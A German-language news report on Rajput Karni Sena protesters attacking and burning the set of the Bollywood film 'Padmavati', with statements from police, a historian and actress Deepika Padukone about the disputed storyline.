Indische Demonstranten zerstörten in dieser Woche das Set des neuen Bollywoodfilms „Padmavati“ nach Berichten eines Boulevardblatts, wonach die Story eine legendäre Hindu-Göttin eine Beziehung mit einem Muslimischen Herrscher eingehe. Eine Gruppe von bis zu dreißig Angreifern hatte am Mittwoch Requisiten und Kostüme auf dem Filmset in der Nähe von Mumbai in Brand gesetzt. Zuvor stürmten die Mitglieder der Gruppe „Rajput Karni Sena“ das Set und verletzten den Regisseur Sanjay Leela Bhansali.  „Es wurde Klage wegen Brandstiftung, Randalen und rechtswidriger Versammlung erhoben“, so Polizeiinspektor General Vishwas Nangare Patil in Kolhapur, Maharashtra, wohin die Filmproduktion nach einer vorigen Attacke im Januar verlegt worden war.

Die Demonstranten waren sichtlich unglücklich über die Spekulationen, dass der Film eine Romanze zwischen der Rajput Königin Padmavati, auch bekannt als Rani Padmini, und dem Muslimischen Herrscher Alauddin Khilji aus dem 13. und 14. Jahrhundert zum Thema haben wird. Die Rajput-Kastenmitglieder waren historisch Hindu-Kämpfer, die über Königreiche im Westen Indiens regierten.

Ein Sprecher der Produktionsfirma Bhansalis bestritt die Gerüchte und Unterstützer des Films untermauerten, dass die Spekulationen ein Ergebnis falscher Recherchen von opportunistischen Randgruppen gewesen seien, die das Drehbuch gar nicht gelesen haben können. „Rajput Karni Sena“ wirft den Filmemachern vor, historische Fakten gefälscht zu haben. Historiker sagen jedoch seit einiger Zeit, dass die Königin eine mythische Figur sei, bei der gar nicht klar sei, ob sie wirklich existierte. „Rani Padmini ist eine Figur, die von Malik Mohd (Muhammad) Jayasi in seinem Padmawat (Gedicht) im Jahr 1540 geschaffen wurde. Zuvor wurde sie in keiner historischen Aufzeichnung erwähnt.“, so der Indische Historiker S. Irfan Habib bei Twitter nach dem Vorfall im Januar.

 

Bollywoodstar Deepika Padukone, die Padmavati in dem Film spielt, verteidigte das Historiendrama ebenfalls bei Twitter: „Als Padmavati kann ich euch versichern, dass es in dem Film absolut keine Verzerrung der Geschichte gibt.“

Indiens Hindi-Filmindustrie liefert jedes Jahr hunderte Filme aber die Macher sehen sich oft mit Bedrohungen von Randgruppen sowie mit einer übereifrigen Zensurbehörde konfrontiert, was bei den Produzenten Ängste über den kreativen Freiraum im Land schürt. Ein Minister aus Rajasthan hat bereits angekündigt, den Film solange nicht zu zeigen, bis er von einer Gruppe aus Rajput-Führern freigegeben wird.
Die Polizei wird das Set in Kolhapur ab sofort bewachen.

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